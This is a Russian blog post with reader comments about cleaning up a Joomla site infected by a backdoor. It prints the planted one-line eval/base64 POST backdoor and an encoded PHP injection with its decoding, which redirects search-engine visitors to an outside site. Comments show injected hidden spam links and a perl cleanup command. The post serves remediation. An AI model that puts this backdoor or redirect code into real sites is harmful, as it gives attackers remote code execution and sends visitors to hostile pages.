Взлом Joomla, внедрение бекдора и очистка от кода

UPD 01.03.2013: Я закрыл возможность комментирования данной записи. Все вопросы по данной теме задавайте на http://ask.sabini.ch. Благодарю за понимание.

 

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор — файл post.php, следующего содержания

<?php eval(base64_decode($_POST[«php»])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

<?php           eval(base64_decode(«DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0=»));

Это зашифрованная в base64 информация, которая содержит в себе ссылку на какой-то польский сайт

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (stristr($referer,»yahoo») or stristr($referer,»bing») or stristr($referer,»rambler») or stristr($referer,»gogo») or stristr($referer,»live.com»)or stristr($referer,»aport») or stristr($referer,»nigma») or stristr($referer,»webalta») or stristr($referer,»begun.ru») or stristr($referer,»stumbleupon.com») or stristr($referer,»bit.ly») or stristr($referer,»tinyurl.com») or preg_match(«/yandex\.ru\/yandsearch\?(.*?)\&lr\=/»,$referer) or preg_match («/google\.(.*?)\/url/»,$referer) or stristr($referer,»myspace.com») or stristr($referer,»facebook.com») or stristr($referer,»aol.com»)) {
if (!stristr($referer,»cache») or !stristr($referer,»inurl»)){
header(«Location: http://happynewyear.osa.pl/»);
exit();
}
}
}
}

Чтобы аккуратно очистить зараженный сайт, следут авторизоваться по ssh и выполнить следующую простую команду

find . -type f -name ‘*.php’ -exec perl -pi -e ‘s/eval\(base64_decode\(\»DQp.*p9\»\)\)\;//g’ ‘{}’ \;

После всего этого остается только напомнить, что следует постоянно следить за актуальностью версий программного обеспечения, которое используется на сайте.

Так же обратите внимание на выход Joomla! 2.5, которая станет LTS и достойной заменой Joomla! 1.5.

 

PS: Если возникнут проблемы с удалением вредоносного кода, то всегда готов помочь.

Другие публикации по теме:

Добавить социальные кнопки в Kunena 1.7.x... Вспомнилось, что все хотел добавить на форум возможность делиться с друзьями ссылками на темы посредством социальных сервисов и сетей. В репозитарии р...
The Offical Joomla! Book  Скачать в PDF можно на моей книжной полке по ссылке: The Official Joomla Book
Уязвимость Joomla с редактором JCE... В плагине редакторе JCE версии ниже 2.0.11 была обнаружена уязвимость и имеет место быть большая череда взломов с последующим внедрением вредоносного ...

Поделиться информацией с друзьями!

Чтобы не пропустить обновления, подпишись на RSS или почтовую рассылку (свой выбор сделали уже 128 человек!)

20 комментариев к «Взлом Joomla, внедрение бекдора и очистка от кода»

  1. Сам столкнулся с такой проблемой и никак не могу ее решить. Суть такова висит сайт в топе, как я понимаю на него идет атака, чтоб с яндекса по ссылке редиректится на указанный в коде сайт. Сайты, кстати всегда разные. Если заходить напрямую на сайт то редирект не происходит. Сайтов на хосте много, поэтому делаю просто общее восстановление сайтов на день предыдущий, помогает на 3-4 дня, после этого снова все php файлы с кодом. Дыру так и не могу найти, тех поддержка тоже внятного ничего сказать не может. Закрывал доступ по фтп, не спасло. Вобщем беда, спасает только бэкапы. Джумка везде обновлена до последнего релиза 1.5.25.

  2. Не знаю что там было а что нет, а может и сейчас ещё есть, но все пишут одну и ту же глупость: «позволила злоумышленникам положить в директорию images бекдор — файл post.php».

    Да всё очень просто — пароль он к админке подбирает, заходит в настройки сайта, дописывает в разрешённые для загрузки файлы расширение .php и спокойно загружает свой post.php в картинки.
    Реально жесть, все пишите, панацею даёте, а у самих до сих пор поди загрузка файлов .php разрешена после него. И кэширование он ещё включает напоследок)))

  3. Добрый деь
    Похожая проблема. Сайт еще на локал хосте.
    В коде есть 2 ссылки на внешние сайты (смартфоны), не могу их найти.
    Искал через БД, Файл менеджер, вручную просматривал. Как понимаю, там кодировка другая стоит.
    Помогите, где и чем искать??

  4. Искал с помощью Total Commander, находит около 100 файлов. все нужно перелопатить, ведь ссылки скорее всего в коде самой джумлы или расширениях (докачивал шаблон, языки, сайтмап, меню)
    В любом случае СПАСИБО!
    Будем разбираться)

  5. В джумуле вообще насколько япомню не используется соченание евал и бейс64 декод, посему вобще убивай все что так входит, ибо это все вирус просто видо измененый а таких много, я сейчас могу тебе штуки 4 дать.

  6. Приветствую

    По наследству от предыдущего администратора мне достался сайт на Joomla — art-tsekh.com

    Сегодня ночью он был взломан и теперь на его главной странице красуется «hacked by Evil hacker»

    С чего мне начать восстановление работы сайта? Его нужно оживить как можно скорее

  7. Подскажите плиз…. только начал разбираться с джумлой и шаблонами… нашел через FireBug левые ссылки… прописаны в div class
    и в файле такую вот вещь
    ?php echo base64_decode(«PGRpdiBpZD0ic3lzLXB vcy1taCIQuote from GEgaHJlZj0iaH R0cDovL2hkLWZpbG1pLnJ1IiB 0aXRsZT0i0YTQuNC70 YzQvNGLINCyIGhkINC:0L3Qu 9Cw0LnQvSI0YTQuNC70YzQvNG LINCyIGhkINC0L3Qu9Cw0LnQvT wvYT48YnIPGEgaHJlZj0ia HR0cDovL215am9vbWxhc2l0ZS5ydSIgdGl0bGU9ItGI0LDQsdC70L7QvdGLINC00LvRjyBqb29tbGEiPtGI0LDQsdC70L7QvdGLI NC00LvRjyBqb29tbGE8L2EPC9kaXYPGpkb2M6aW5jbHVkZSB0eXBlPSJjb21wb25lbnQiIC8»;?

    При удалении уходят ссылки, но и весь контент страницы…. как их грохнуть можно?

  8. в firebug’e вижу ссылку, которую хочу удалить…. а вот как это сделать пока не разобрался-я его только вчера поставил )))) прямо из него удаляю, при обновлении страницы появляется…. как это сделать правильно? ))

  9. в принципе это понятно, но как искать этот адрес? у меня же не статические страницы…. через поиск тотал коммандера по словам в документах этот адрес не находит…. но где то же он сидит…. если кто нибудь уже разбирался с этим отпишитесь плиз.

  10. Может пригодится кому )))

    ссылки на странице скрываются таким образом (-5000 было у меня)

    #sys-pos-mh {position: absolute; top: 0px; left: -5000px;}

    то есть позиция ссылки выносится за видимую часть экрана, через тотал коммандер-его поиском по словам в документе в папке с шаблоном ищите значение -5000, у меня оно оказалось в template.css, комментируем данную строку-ссылки стали видимыми.

    Но… найти по тексту-адрес ссылки или тайтл-не удалось… тогда ищем по такому словосочетанию: base64_decode

    У меня нашло вот это:

    < ?php echo base64_decode("PGRpdiBpZD0ic3lzLXBvcy1taCI+PGEgaHJlZj0iaHR0cDovL2hkLWZpbG1pLn J1IiB0aXRsZT0i0YTQuNC70YzQvNGLINCyIGhkINC+0L3Qu9Cw0LnQvSI+0YTQuNC70YzQvNGLINCyIGhkIN C+0L3Qu9Cw0LnQvTwvYT48YnI+PGEgaHJlZj0iaHR0cDovL215am9vbWxhc2l0ZS5ydSIgdGl0bGU9ItGI0LD QsdC70L7QvdGLINC00LvRjyBqb29tbGEiPtGI0LDQsdC70L7QvdGLINC00LvRjyBqb29tbGE8L2E+PC9kaXY+ PGpkb2M6aW5jbHVkZSB0eXBlPSJjb21wb25lbnQiIC8+");?>

    Вырезаем все что стоит между двойными кавычками-сохраняем во что нибудь типа блокнота (при простом удалении у меня напрочь сносило и весь контент со страниц), идем в любой онлайн-декодер, я воспользовался

    http://www.kakvse.net/service/polezno/dekoder_teksta.php

    В результате получил

    Отсюда вырезаем все-ссылки, тайтлы и заголовки и получаем


    Копируем это и идем

    http://serfock.ru/url-coder

    Там по новой кодируем то что скопировали, получаем

    %3Cdiv%20id%3D%22sys-pos-mh%22%3E%3Ca%20href%3D%22%22%20title%3D%22%
    22%20class%3D%22underline%22%3E%3C%2Fa%3E%3Cbr%3E%3Ca%20href%3D%22%
    22%20title%3D%22%22%20class%3D%22underline%22%3E%3C%2Fa%3E%3C%2Fdiv%3
    E%3Cjdoc%3Ainclude%20type%3D%22component%22%20%2F%3E

    Копируем это, и вставляем в template.css вместо того набора символов, что был в оригинале,
    сохраняемся-ссылки ушли, контент остался )))

  11. У меня около 10 проектов на одном аккаунте хостера, некоторые на Joomla 1.5, а некоторые на Joomla 2.5. Через один сайт на j1.5, я получил заражение, на все остальные проекты. Вирус состоял из 3 файлов, один из них, который мне удалил nod32, назывался story.php.
    Ну да ладно, вообщем, вот такой код стоял во всех php файлах:
    eval(base64_decode(«DQplcnJvcl9yZXB……… w0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ==»));

    в принципе тоже самое, что и в посте написано, только на url другой перекидывал.

    я такой код прописал в putty:

    find . -type f -name ‘*.php’ -exec perl -pi -e’ s/eval\(base64_decode\(\»DQplcnJ.*0KfQ==\»\)\)\;//g’ ‘{}’ \;

    и думал буду радоваться жизни, но ни тут-то было!
    При загрузке сайта, браузер стал выдавать ошибки на всех проектах.

    Вадим, автор поста, что неправильно я прописал, код с этого поста брал ведь?

  12. У меня так полегло 6 сайтов. тоже зачистка кода не помогает. сайты лежат мертвым грузом. некоторые скрипты видно что код скриптов кусками дублирован. Копий рабочих нет. Восстанавливать надо сайты как то, но искать все подобные скрипты и пытаться понять что в них не так….
    Если найдете решение, поделитесь, пожалуйста

  13. с помощью firebug вижу левую ссылку на сайте,а вот найти ее не могу ….все перелопатил ((( вот сайт http://chaynyydvorik.com.ua — а вот собственно левая ссылка ddflash.ru/docs/Best. где она зарыта,как искать ума не приложу …

  14. У меня на сайте появился код, который на всех страницах размещает невидимые ссылки, причём на всех страницах разные. Как его вычислить понять не могу. С какой стороны подступиться?
    По теме base64 уже пробовал — явно не та тема.

Оставить комментарий